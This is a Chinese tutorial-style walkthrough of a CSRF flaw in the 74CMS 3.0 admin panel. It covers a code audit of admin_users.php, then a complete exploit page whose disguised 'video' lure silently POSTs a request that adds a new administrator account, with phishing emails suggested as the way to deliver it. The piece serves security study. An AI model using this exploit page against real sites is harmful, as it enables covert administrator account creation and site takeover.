74CMS 3.0 CSRF漏洞
一、 启动环境
1.双击运行桌面phpstudy.exe软件

2.点击启动按钮,启动服务器环境
二、代码审计
1.双击启动桌面Seay源代码审计系统软件

2.因为74CMS3.0源代码编辑使用GBK编辑,所以首先需要先将编码改成GBK

3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\74cms),点击确定
漏洞分析
1.点击展开左侧admin目录,在弹出的下拉列表中双击admin_users.php页面,右侧页面可以看到相关代码。
elseif($act == 'add_users_save')
{
if ($_SESSION['admin_purview']<>"all")adminmsg("权限不足!",1);
$setsqlarr['admin_name']=trim($_POST['admin_name'])?trim($_POST['admin_name']):adminmsg('请填写用户名!',1);
if (get_admin_one($setsqlarr['admin_name']))adminmsg('用户名已经存在!',1);
$setsqlarr['email']=trim($_POST['email'])?trim($_POST['email']):adminmsg('请填写email!',1);
if (!preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/",$setsqlarr['email']))adminmsg('email格式错误!',1);
$password=trim($_POST['password'])?trim($_POST['password']):adminmsg('请填写密码',1);
if (strlen($password)<6)adminmsg('密码不能少于6位!',1);
if ($password<>trim($_POST['password1']))adminmsg('两次输入的密码不相同!',1);
$setsqlarr['rank']=trim($_POST['rank'])?trim($_POST['rank']):adminmsg('请填写头衔',1);
$setsqlarr['add_time']=time();
$setsqlarr['last_login_time']=0;
$setsqlarr['last_login_ip']="从未";
$setsqlarr['pwd_hash']=randstr();
$setsqlarr['pwd']=md5($password.$setsqlarr['pwd_hash']);
if (inserttable(table('admin'),$setsqlarr))
{
$link[0]['text'] = "返回列表";
$link[0]['href'] ="?act=";
adminmsg('添加成功!',2,$link);
}
else
{
adminmsg('添加失败',1);
}
}
其中当获取的act参数为add_users_save时,执行添加管理员操作。代码段第一行首先检查当前用户是否权限添加,如果没有权限则直接终止掉下面紧接着进入添加管理员操作,最后将setsqlarr数组执行inserttable操作,将管理员插入数据库。中间并没有检查用户来源操作,如:Token、验证码等。
漏洞利用
1.首先需要构造一个攻击页面,由于添加用户需要POST发送数据,所以不能通过简单执行GET请求,需要在攻击页面执行Ajax请求,异步发送数据。
2.攻击JavaScript代码
<script>
function add() {
var xmlhttp = new XMLHttpRequest();
var xmldata = 'admin_name=zhangsan3&email=5454695%40qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';
xmlhttp.open('POST','http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_users.php?act=add_users_save',true);
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.withCredentials='true'; //跨域请求是否提供凭证
xmlhttp.send(xmldata);
}
</script>
HTML展现页面
<body "add()">
<img src="3333.gif">
<!-- <video width="544" height="960" controls>-->
<!-- <source src="3333.gif" type="video/mp4">-->
<!-- 您的浏览器不支持 HTML5 video 标签-->
<!-- </video>-->
</body>
3.诱导管理员访问该页面可以使用钓鱼邮件,网站发送建议等。

访问以后用户看到就是普通一段视频,但是Ajax已经异步把数据提交到后台。

登录后台发现,已经成功添加zhangsan这个用户

完整代码
CSRF.php
<html>
<head>
<meta charset="utf-8">
<title>欢迎看片</title>
<script>
function add() {
var xmlhttp = new XMLHttpRequest();
var xmldata = 'admin_name=zhangsan3&email=5454695%40qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';
xmlhttp.open('POST','http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_users.php?act=add_users_save',true);
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.withCredentials='true'; //跨域请求是否提供凭证
xmlhttp.send(xmldata);
}
</script>
</head>
<body "add()">
<img src="3333.gif">
<!-- <video width="544" height="960" controls>-->
<!-- <source src="3333.gif" type="video/mp4">-->
<!-- 您的浏览器不支持 HTML5 video 标签-->
<!-- </video>-->
</body>
</html>
74CMS 3.0 CSRF漏洞的更多相关文章
- DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞
DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞 1.漏洞利用 由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量 ...
- 浅谈CSRF漏洞
前言: 看完小迪老师的CSRF漏洞讲解.感觉不行 就自己百度学习.这是总结出来的. 歌曲: 正文: CSRF与xss和像,但是两个是完全不一样的东西. xss攻击(跨站脚本攻击)储存型的XSS ...
- 从Java的角度修复CSRF漏洞
漏洞挖掘中,说实话挖过最多的漏洞就属CSRF漏洞了,提交CSRF漏洞很多次,绕过CSRF防御进行攻击也有很多次.CSRF漏洞是一个很容易引发的问题,今天我从Java的角度来说下这个安全漏洞的修复方案. ...
- phpMyAdmin 4.7.x CSRF 漏洞利用
作者:Ambulong phpMyAdmin是个知名MySQL/MariaDB在线管理工具,phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞(PMASA-2017-9),攻击 ...
- 【代码审计】YzmCMS_PHP_v3.6 CSRF漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- PHP代码审计笔记--CSRF漏洞
0x01 前言 CSRF(Cross-site request forgery)跨站请求伪造.攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻 ...
- CSRF漏洞原理说明与利用方法
翻译者:Fireweed 原文链接:http://seclab.stanford.edu/websec/ 一 .什么是CSRF Cross-Site Request Forgery(CSRF),中文一 ...
- CSRF进阶之打造一个检测CSRF漏洞的脚本
前言: 还记得之前所学的CSRF漏洞吧.因为没有对表单做好对应的漏洞 而造成的CSRF漏洞.学了这个漏洞后逐渐的了解.这个比较鸡助. 代码: import requests,tqdm,time,os, ...
- csrf漏洞攻击手段和影响详解
针对web应用安全中csrf漏洞两种典型的攻击方式:即输入和执行,这种简单模式下的攻击手段以及中途包含确认页面的攻击方法. 图解什么是csrf漏洞 我们先进行约束,比如存在csrf漏洞的网站叫webA ...
随机推荐
- 记录使用WKWebView进行OC与JS交互所踩过的坑
目录: 1.页面cookie缓存 2.允许弹出JS的弹框 3.在webview页面加载的时候,添加加载进度条 4.禁止掉webview页面的长按复制粘贴功能 5.设置webview的userAgent ...
- Kubernetes-三大开放接口-初见
目录 容器运行时接口CRI 历史 简介 架构 启用 CRI CRI 接口 当前支持的 CRI 后端 容器网络接口CNI 简介 接口定义 官方网络插件 接口参数 CNI 的特性 在 kubernetes ...
- Note - Powerful Number
Powerful Number 对于 \(n\in\mathbb N_+\),若不存在素数 \(p\) 使得 \(p\mid n~\land~p^2\not\mid n\),则称 \(n\) 为 ...
- 数据分析实际案例之:pandas在泰坦尼特号乘客数据中的使用
目录 简介 泰坦尼特号乘客数据 使用pandas对数据进行分析 引入依赖包 读取和分析数据 图形化表示和矩阵转换 简介 1912年4月15日,号称永不沉没的泰坦尼克号因为和冰山相撞沉没了.因为没有足够 ...
- c++动态内存管理与智能指针
目录 一.介绍 二.shared_ptr类 make_shared函数 shared_ptr的拷贝和引用 shared_ptr自动销毁所管理的对象- -shared_ptr还会自动释放相关联对象的内存 ...
- RIP协议测试——信而泰网络测试仪实操
一.简介: RIP(Routing Information Protocol,路由信息协议)是一种内部网关协议(IGP),是一种动态路由选择协议,用于自治系统(AS)内的路由信息的传递.RIP协议基于 ...
- 【C# 线程】线程池 ThreadPool
Overview 如今的应用程序越来越复杂,我们常常需要使用<异步编程:线程概述及使用>中提到的多线程技术来提高应用程序的响应速度.这时我们频繁的创建和销毁线程来让应用程序快速响应操 ...
- Qt:打印输出到控制台,类似C++的cout
1. #include<qDebug> 2. qDebug<<"Hello,world!"; 补充,如果不是控制台文件,比如是窗口应用程序,需要在pro文件 ...
- JZ-019-顺时针打印矩阵
顺时针打印矩阵 题目描述 输入一个矩阵,按照从外向里以顺时针的顺序依次打印出每一个数字,例如,如果输入如下4 X 4 矩阵: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1 ...
- LeetCode-015-三数之和
三数之和 题目描述:给你一个包含 n 个整数的数组 nums,判断 nums 中是否存在三个元素 a,b,c ,使得 a + b + c = 0 ?请你找出所有和为 0 且不重复的三元组. 注意:答案 ...